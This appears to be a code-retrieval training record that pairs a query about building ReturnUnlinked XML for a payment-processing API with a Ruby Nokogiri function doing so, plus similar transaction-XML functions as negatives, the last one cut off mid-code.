[ "0.6123846", "0.6067641", "0.59212077", "0.58403385", "0.5792095", "0.577693", "0.5723404", "0.5640022", "0.5624831", "0.5529969", "0.5448661", "0.5448661", "0.5389999", "0.5389999", "0.5389999", "0.5389999", "0.5389999", "0.5389999", "0.5366789", "0.5351837", "0.5350602", "0.53337884", "0.5325902", "0.5325122", "0.5294081", "0.5257304", "0.5249186", "0.5222699", "0.52025336", "0.5179881", "0.51683646", "0.51683646", "0.5155356", "0.5124426", "0.5118464", "0.5116675", "0.5115086", "0.5113107", "0.5110626", "0.5071808", "0.506146", "0.506146", "0.5059793", "0.5045425", "0.50437844", "0.5041877", "0.50404733", "0.50186795", "0.5006773", "0.5005276", "0.49931023", "0.49763417", "0.49670142", "0.49645847", "0.49532235", "0.49510658", "0.49424547", "0.4925339", "0.4916244", "0.4894518", "0.48931396", "0.4892249", "0.48908585", "0.48756075", "0.48745495", "0.48745495", "0.4872467", "0.48694938", "0.48627916", "0.48625174", "0.4852868", "0.485239", "0.48372963", "0.48332635", "0.48322582", "0.4830395", "0.48297316", "0.482896", "0.482896", "0.4824252", "0.48152906", "0.48140964", "0.48048377", "0.48028263", "0.48005548", "0.47949108", "0.47857866", "0.47851807", "0.47809958", "0.477016", "0.47687438", "0.47671762", "0.47616938", "0.47594425", "0.4758014", "0.47517464", "0.47503147", "0.4747122", "0.47420713", "0.47397247" ]
0.84495443
0
Create ReturnUnlinked xml as per the api format . "params" is collection keyvalues, in this "params" holds CardData, AVSData, Amount, P2PETransactionData,PaymentAccountDataToken. It returns xml format in string.
def returnUnlinkedXML(params) begin Nokogiri::XML::Builder.new do |xml| xml.ReturnTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance', 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest', 'i:type' =>"ReturnTransaction" ) { xml.ApplicationProfileId application_profile_id xml.BatchIds('xmlns:d2p1' => 'http://schemas.microsoft.com/2003/10/Serialization/Arrays', 'i:nil'=> "true") xml.MerchantProfileId merchant_profile_id xml.Transaction('xmlns:ns1' => "http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard", 'i:type' => "ns1:BankcardTransaction" ){ xml['ns1'].TenderData{ if params[:SwipeStatus].present? && params[:IdentificationInformation].present? && params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present? #p "Swipe card..maga..." xml['ns5'].SecurePaymentAccountData('xmlns:ns5' => "http://schemas.ipcommerce.com/CWS/v2.0/Transactions").text(params[:SecurePaymentAccountData]) xml['ns6'].EncryptionKeyId('xmlns:ns6' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions").text(params[:EncryptionKeyId]) xml['ns7'].SwipeStatus('xmlns:ns7' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions").text(params[:SwipeStatus]) xml['ns1'].CardSecurityData{ xml['ns1'].IdentificationInformation params[:IdentificationInformation] } xml['ns1'].CardData('i:nil' =>"true") elsif params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present? #p "Swipe card..Dukp..." xml['ns5'].SecurePaymentAccountData('xmlns:ns5' => "http://schemas.ipcommerce.com/CWS/v2.0/Transactions").text(params[:SecurePaymentAccountData]) xml['ns6'].EncryptionKeyId('xmlns:ns6' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions").text(params[:EncryptionKeyId]) xml['ns7'].SwipeStatus('xmlns:ns7' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions",'i:nil' =>"true") xml['ns1'].CardSecurityData{ xml['ns1'].IdentificationInformation('i:nil' =>"true") } xml['ns1'].CardData('i:nil' =>"true") xml['ns1'].EcommerceSecurityData('i:nil' =>"true") elsif params[:PaymentAccountDataToken].present? #p "PaymentAccountDataToken..........." xml['ns4'].PaymentAccountDataToken('xmlns:ns4' => "http://schemas.ipcommerce.com/CWS/v2.0/Transactions").text(params[:PaymentAccountDataToken]) xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions",'i:nil' =>"true") xml['ns6'].EncryptionKeyId('xmlns:ns6' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions",'i:nil' =>"true") xml['ns7'].SwipeStatus('xmlns:ns7' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions",'i:nil' =>"true") xml['ns1'].CardData('i:nil' =>"true") xml['ns1'].EcommerceSecurityData('i:nil' =>"true") else #p "without token...." xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions", 'i:nil' =>"true") xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions",'i:nil' =>"true") xml['ns6'].EncryptionKeyId('xmlns:ns6' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions",'i:nil' =>"true") xml['ns7'].SwipeStatus('xmlns:ns7' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions",'i:nil' =>"true") xml['ns1'].CardData{ xml['ns1'].CardType params[:CardType] if params[:Track2Data].present? xml['ns1'].Track2Data params[:Track2Data] xml['ns1'].PAN('i:nil' =>"true") xml['ns1'].Expire('i:nil' =>"true") xml['ns1'].Track1Data('i:nil' =>"true") elsif params[:Track1Data].present? xml['ns1'].Track1Data params[:Track1Data] xml['ns1'].PAN('i:nil' =>"true") xml['ns1'].Expire('i:nil' =>"true") xml['ns1'].Track2Data('i:nil' =>"true") else xml['ns1'].PAN params[:PAN] xml['ns1'].Expire params[:Expire] xml['ns1'].Track1Data('i:nil' =>"true") xml['ns1'].Track2Data('i:nil' =>"true") end } xml['ns1'].EcommerceSecurityData('i:nil' =>"true") end } xml['ns2'].CustomerData('xmlns:ns2' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions"){ xml['ns2'].BillingData{ xml['ns2'].Name('i:nil' =>"true") xml['ns2'].Address{ xml['ns2'].Street1 params[:Street1] xml['ns2'].Street2('i:nil' =>"true") xml['ns2'].City params[:City] xml['ns2'].StateProvince params[:StateProvince] xml['ns2'].PostalCode params[:PostalCode] xml['ns2'].CountryCode params[:CountryCode] } xml['ns2'].BusinessName 'MomCorp' xml['ns2'].Phone params[:Phone] xml['ns2'].Fax('i:nil' =>"true") xml['ns2'].Email params[:Email] } xml['ns2'].CustomerId 'cust123' xml['ns2'].CustomerTaxId('i:nil' =>"true") xml['ns2'].ShippingData('i:nil' =>"true") } xml['ns3'].ReportingData('xmlns:ns3' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions"){ xml['ns3'].Comment 'a test comment' xml['ns3'].Description 'a test description' xml['ns3'].Reference '001' } xml['ns1'].TransactionData{ if params[:Amount] != '' xml['ns8'].Amount('xmlns:ns8' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions").text(params[:Amount]) else xml['ns8'].Amount('xmlns:ns8' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions").text('0.00') end xml['ns9'].CurrencyCode('xmlns:ns9' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions").text('USD') xml['ns10'].TransactionDateTime('xmlns:ns10' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions").text('2013-04-03T13:50:16') xml['ns11'].CampaignId('xmlns:ns11' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions",'i:nil' =>"true") xml['ns12'].Reference('xmlns:ns12' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions").text('xyt') xml['ns1'].AccountType 'NotSet' xml['ns1'].ApprovalCode('i:nil' =>"true") xml['ns1'].CashBackAmount '0.0' xml['ns1'].CustomerPresent 'Present' xml['ns1'].EmployeeId '11' xml['ns1'].EntryMode params[:EntryMode] xml['ns1'].GoodsType 'NotSet' xml['ns1'].IndustryType params[:IndustryType] xml['ns1'].InternetTransactionData('i:nil' =>"true") xml['ns1'].InvoiceNumber params[:InvoiceNumber] xml['ns1'].OrderNumber params[:OrderNumber] xml['ns1'].IsPartialShipment 'false' xml['ns1'].SignatureCaptured 'false' xml['ns1'].FeeAmount '0.0' xml['ns1'].TerminalId('i:nil' =>"true") xml['ns1'].LaneId('i:nil' =>"true") xml['ns1'].TipAmount '0.0' xml['ns1'].BatchAssignment('i:nil' =>"true") xml['ns1'].PartialApprovalCapable 'NotSet' xml['ns1'].ScoreThreshold('i:nil' =>"true") xml['ns1'].IsQuasiCash 'false' } } } end.to_xml rescue Exception => ex return "Some value not set in xml for returnUnlinkedXML!" end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def returnByIdXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.ReturnById('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance',\n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest', 'i:type' =>\"ReturnById\" ) {\n xml.ApplicationProfileId application_profile_id \n xml.BatchIds('xmlns:d2p1' => 'http://schemas.microsoft.com/2003/10/Serialization/Arrays', 'i:nil' => \"true\")\n xml.DifferenceData('xmlns:ns1' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard', 'i:type' => \"ns1:BankcardReturn\"){\n xml['ns2'].TransactionId params[:TransactionId] ,'xmlns:ns2' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions'\n if params[:Amount] != ''\n xml['ns1'].Amount params[:Amount]\n else\n xml['ns1'].Amount '0.00'\n end\n }\n xml.MerchantProfileId merchant_profile_id\n } \n end.to_xml\n rescue Exception => ex\n return \"transaction id and/or amount not set in xml for returnByIdXML!\"\n end \n end", "def verifyXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.AuthorizeTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance',\n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest',\n 'i:type' =>\"AuthorizeTransaction\" ) {\n xml.ApplicationProfileId application_profile_id #'14560'\n xml.MerchantProfileId merchant_profile_id #'PrestaShop Global HC'\n xml.Transaction('xmlns:ns1' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard\",\n 'i:type' => \"ns1:BankcardTransaction\" ){\n xml['ns1'].TenderData{\n xml['ns1'].CardData{\n xml['ns1'].CardType params[:CardType]\n xml['ns1'].CardholderName params[:CardholderName]\n # xml['ns1'].PAN params[:PAN] #'4111111111111111'\n # xml['ns1'].Expire params[:Expire]\n # xml['ns1'].Track1Data('i:nil' =>\"true\")\n if params[:Track2Data].present?\n xml['ns1'].Track2Data params[:Track2Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n elsif params[:Track1Data].present?\n xml['ns1'].Track1Data params[:Track1Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n else\n xml['ns1'].PAN params[:PAN] \n xml['ns1'].Expire params[:Expire]\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n end\n }\n xml['ns1'].CardSecurityData{\n xml['ns1'].AVSData{\n xml['ns1'].CardholderName('i:nil' =>\"true\") \n xml['ns1'].Street params[:Street]\n xml['ns1'].City params[:City]\n xml['ns1'].StateProvince params[:StateProvince]\n xml['ns1'].PostalCode params[:PostalCode]\n xml['ns1'].Phone params[:Phone]\n xml['ns1'].Email params[:Email]\n }\n xml['ns1'].CVDataProvided 'Provided'\n xml['ns1'].CVData params[:CVData]\n xml['ns1'].KeySerialNumber('i:nil' =>\"true\")\n xml['ns1'].PIN('i:nil' =>\"true\") \n xml['ns1'].IdentificationInformation('i:nil' =>\"true\")\n }\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\")\n }\n xml['ns1'].TransactionData{\n if params[:Amount] != ''\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n else\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('0.00')\n end\n xml['ns9'].CurrencyCode('xmlns:ns9' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('USD')\n xml['ns10'].TransactionDateTime('xmlns:ns10' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('2014-04-03T13:50:16') \n xml['ns1'].AccountType 'NotSet'\n xml['ns1'].CustomerPresent 'Present'\n xml['ns1'].EmployeeId '11'\n if params[:Track2Data].present? || params[:Track1Data].present?\n xml['ns1'].EntryMode params[:EntryMode]\n else\n xml['ns1'].EntryMode 'Keyed'\n end \n xml['ns1'].IndustryType params[:IndustryType]\n xml['ns1'].InvoiceNumber('i:nil' =>\"true\")\n xml['ns1'].OrderNumber('i:nil' =>\"true\")\n xml['ns1'].TipAmount '0.0'\n } \n }\n }\n end.to_xml\n rescue Exception => ex\n return \"Some value not set in xml for verifyXML!\"\n end\n end", "def captureXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.ChangeTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance',\n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest',\n 'i:type' =>\"Capture\" ) {\n xml.ApplicationProfileId application_profile_id #'14644'\n xml.DifferenceData('xmlns:d2p1' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions',\n 'xmlns:d2p2' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard', \n 'xmlns:d2p3' => 'http://schemas.ipcommerce.com/CWS/v2.0/TransactionProcessing',\n 'i:type' => \"d2p2:BankcardCapture\"){\n xml['d2p1'].TransactionId params[:TransactionId]#'760CBDD65E4642E49A3CD2E2F3257A10'\n if params[:Amount] != ''\n xml['d2p2'].Amount params[:Amount]\n else\n xml['d2p2'].Amount '0.00'\n end \n xml['d2p2'].TipAmount '0.00' \n }\n } \n end.to_xml \n rescue Exception => ex\n return \"transaction id and/or amount not set in xml for captureXML!\"\n end \n end", "def undoXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.Undo('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance', \n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest', 'i:type' =>\"Undo\" ) {\n xml.ApplicationProfileId application_profile_id \n xml.BatchIds('xmlns:d2p1' => 'http://schemas.microsoft.com/2003/10/Serialization/Arrays','i:nil' => \"true\")\n xml.DifferenceData('xmlns:d2p1' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions','i:nil' => \"true\")\n xml.MerchantProfileId merchant_profile_id \n xml.TransactionId params[:TransactionId] \n }\n end.to_xml \n rescue Exception => ex\n return \"transaction id not set in xml for undoXML!\"\n end \n end", "def adjustXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.Adjust('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance',\n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest', 'i:type' =>\"Adjust\" ) {\n xml.ApplicationProfileId application_profile_id \n xml.BatchIds('xmlns:d2p1' => 'http://schemas.microsoft.com/2003/10/Serialization/Arrays', 'i:nil'=> \"true\")\n xml.MerchantProfileId merchant_profile_id\n xml.DifferenceData('xmlns:ns1' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions',\n 'xmlns:ns2' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",\n 'xmlns:ns3' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\") {\n if params[:Amount] != ''\n xml['ns2'].Amount params[:Amount]\n else\n xml['ns2'].Amount '0.00'\n end \n xml['ns3'].TransactionId params[:TransactionId]\n }\n } \n end.to_xml \n rescue Exception => ex\n return \"transaction id and/or amount not set in xml for adjustXML!\"\n end \n end", "def return_unlinked(transaction, merchant_profile_id, workflow_id)\n\t\t\t\trequest=\n {\n\t\t\t\t\t:__type => \"ReturnTransaction:http:\\/\\/schemas.ipcommerce.com\\/CWS\\/v2.0\\/Transactions\\/Rest\",\n\t\t\t\t\t:ApplicationProfileId => @application_id,\n\t\t\t\t\t:MerchantProfileId => merchant_profile_id,\n\t\t\t\t\t:Transaction =>\n {\n :__type => \"BankcardTransaction:http:\\/\\/schemas.ipcommerce.com\\/CWS\\/v2.0\\/Transactions\\/Bankcard\"\n }\n\t\t\t\t}\n\t\t\t\trequest[:Transaction].update(transaction)\n\n\t\t\t\trequest=JSON.generate(request)\n\t\t\t\t#puts request\n\t\t\t\tif (!self.validate_session())\n\t\t\t\t\treturn false; end\n\t\t\t\t\n\t\t\t\t#puts \"Submitting return unlinked...\"\n\t\t\t\tresponse=action_with_token(:post,:Txn,{:body => request, :target => workflow_id.to_s})\n\t\t\t\t#puts \"Done\"\n\t\t\t\t#puts response\n\t\t\t\tresponse\n\t\t\tend", "def make_url(params) #:nodoc:\n params[:appid] = @appid\n params[:output] = 'xml'\n\n super params\n end", "def make_url(params) #:nodoc:\n params[:appid] = @appid\n params[:output] = 'xml'\n\n super params\n end", "def build_xml( result )\n xml = ::Builder::XmlMarkup.new\n \n xml.ProcessResponse do \n xml.PxPayUserId ::Pxpay::Base.pxpay_user_id\n xml.PxPayKey ::Pxpay::Base.pxpay_key\n xml.Response result\n end\n end", "def make_url(params) #:nodoc:\n params[:key] = @key\n params[:output] = 'xml'\n\n super params\n end", "def to_xml\n doc = REXML::Document.new\n doc << REXML::XMLDecl.default\n doc.add_element(\"envelope\")\n p = doc.root.add_element(\"params\", { \"index\" => \"1\" })\n unless receivers.empty?\n to_elt = p.add_element(\"to\")\n receivers.each do |aid|\n agent_identifier_to_xml(to_elt, aid)\n end\n end\n unless sender.nil?\n from_elt = p.add_element(\"from\")\n agent_identifier_to_xml(from_elt, sender)\n end\n unless comments.nil?\n elt = p.add_element(\"comments\")\n elt.text = comments\n end\n unless acl_representation.nil?\n elt = p.add_element(\"acl-representation\")\n elt.text = acl_representation\n end\n unless payload_length.nil?\n elt = p.add_element(\"payload-length\")\n elt.text = payload_length\n end\n unless payload_encoding.nil?\n elt = p.add_element(\"payload-encoding\")\n elt.text = payload_encoding\n end\n unless date.nil?\n elt = p.add_element(\"date\")\n elt.text = date.iso8601\n end\n unless encrypted.nil?\n elt = p.add_element(\"encrypted\")\n elt.text = encrypted\n end\n unless intended_receivers.empty?\n elt = p.add_element(\"intended-receiver\")\n intended_receivers.each do |r|\n agent_identifier_to_xml(elt, r)\n end\n end\n unless received.nil?\n received_elt = p.add_element(\"received\")\n received_by_elt = received_elt.add_element(\"received-by\")\n url_elt = received_by_elt.add_element(\"url\")\n url_elt.text = received.by\n unless received.from.nil?\n received_from_elt = received_elt.add_element(\"received-from\")\n url_elt = received_from_elt.add_element(\"url\")\n url_elt.text = received.from\n end\n received_elt.add_element(\"received-date\", { \"value\" => received.date })\n unless received.id.nil?\n received_elt.add_element(\"received-id\", { \"value\" => received.id})\n end\n unless received.via.nil?\n received_elt.add_element(\"received-via\", { \"value\" => received.via})\n end\n end\n doc\n end", "def authorizeXML(params) \n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.AuthorizeTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance', \n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest',\n 'i:type' =>\"AuthorizeTransaction\" ) {\n xml.ApplicationProfileId application_profile_id\n xml.MerchantProfileId merchant_profile_id\n xml.Transaction('xmlns:ns1' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard\",\n 'i:type' => \"ns1:BankcardTransaction\" ){\n xml['ns1'].TenderData{\n if params[:SwipeStatus].present? && params[:IdentificationInformation].present? && params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present?\n #p \"Swipe card..maga...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SwipeStatus])\n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation params[:IdentificationInformation]\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n elsif params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present? \n #p \"Swipe card..Dukp...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation('i:nil' =>\"true\")\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n elsif params[:PaymentAccountDataToken].present?\n #p \"PaymentAccountDataToken...........\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:PaymentAccountDataToken])\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n else \n #p \"without token....\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\", 'i:nil' =>\"true\")\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns1'].CardData{\n xml['ns1'].CardType params[:CardType] \n if params[:Track2Data].present?\n xml['ns1'].Track2Data params[:Track2Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n elsif params[:Track1Data].present?\n xml['ns1'].Track1Data params[:Track1Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n else\n xml['ns1'].PAN params[:PAN] \n xml['ns1'].Expire params[:Expire]\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n end \n }\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n end\n }\n xml['ns2'].CustomerData('xmlns:ns2' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns2'].BillingData{\n xml['ns2'].Name('i:nil' =>\"true\")\n xml['ns2'].Address{\n xml['ns2'].Street1 params[:Street1] \n xml['ns2'].Street2('i:nil' =>\"true\")\n xml['ns2'].City params[:City] \n xml['ns2'].StateProvince params[:StateProvince]\n xml['ns2'].PostalCode params[:PostalCode]\n xml['ns2'].CountryCode params[:CountryCode]\n }\n xml['ns2'].BusinessName 'MomCorp'\n xml['ns2'].Phone params[:Phone]\n xml['ns2'].Fax('i:nil' =>\"true\")\n xml['ns2'].Email params[:Email]\n }\n xml['ns2'].CustomerId 'cust123'\n xml['ns2'].CustomerTaxId('i:nil' =>\"true\")\n xml['ns2'].ShippingData('i:nil' =>\"true\")\n }\n xml['ns3'].ReportingData('xmlns:ns3' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns3'].Comment 'a test comment'\n xml['ns3'].Description 'a test description'\n xml['ns3'].Reference '001'\n }\n xml['ns1'].TransactionData{\n if params[:Amount] != ''\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n else\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('0.00')\n end\n #xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n xml['ns9'].CurrencyCode('xmlns:ns9' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('USD') \n xml['ns10'].TransactionDateTime('xmlns:ns10' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('2013-04-03T13:50:16')\n xml['ns11'].CampaignId('xmlns:ns11' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns12'].Reference('xmlns:ns12' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('xyt')\n xml['ns1'].AccountType 'NotSet'\n xml['ns1'].ApprovalCode('i:nil' =>\"true\")\n xml['ns1'].CashBackAmount '0.0'\n xml['ns1'].CustomerPresent 'Present'\n xml['ns1'].EmployeeId '11'\n xml['ns1'].EntryMode params[:EntryMode]\n xml['ns1'].GoodsType 'NotSet'\n xml['ns1'].IndustryType params[:IndustryType]\n xml['ns1'].InternetTransactionData('i:nil' =>\"true\")\n xml['ns1'].InvoiceNumber params[:InvoiceNumber]\n xml['ns1'].OrderNumber params[:OrderNumber]\n xml['ns1'].IsPartialShipment 'false'\n xml['ns1'].SignatureCaptured 'false'\n xml['ns1'].FeeAmount '0.0'\n xml['ns1'].TerminalId('i:nil' =>\"true\")\n xml['ns1'].LaneId('i:nil' =>\"true\")\n xml['ns1'].TipAmount '0.0'\n xml['ns1'].BatchAssignment('i:nil' =>\"true\")\n xml['ns1'].PartialApprovalCapable 'NotSet'\n xml['ns1'].ScoreThreshold('i:nil' =>\"true\")\n xml['ns1'].IsQuasiCash 'false' \n }\n }\n } \n end.to_xml \n rescue Exception => ex\n return \"Some value not set in xml for authorizeXML!\"\n end\n end", "def authorizeAndCaptureXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.AuthorizeAndCaptureTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance', \n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest',\n 'i:type' =>\"AuthorizeAndCaptureTransaction\" ) {\n xml.ApplicationProfileId application_profile_id\n xml.MerchantProfileId merchant_profile_id \n xml.Transaction('xmlns:ns1' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard\", \n 'i:type' => \"ns1:BankcardTransaction\" ){\n xml['ns1'].TenderData{\n if params[:SwipeStatus].present? && params[:IdentificationInformation].present? && params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present?\n #p \"Swipe card..maga...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SwipeStatus])\n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation params[:IdentificationInformation]\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n elsif params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present? \n #p \"Swipe card..Dukp...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation('i:nil' =>\"true\")\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n elsif params[:PaymentAccountDataToken].present?\n #p \"PaymentAccountDataToken...........\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:PaymentAccountDataToken])\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' 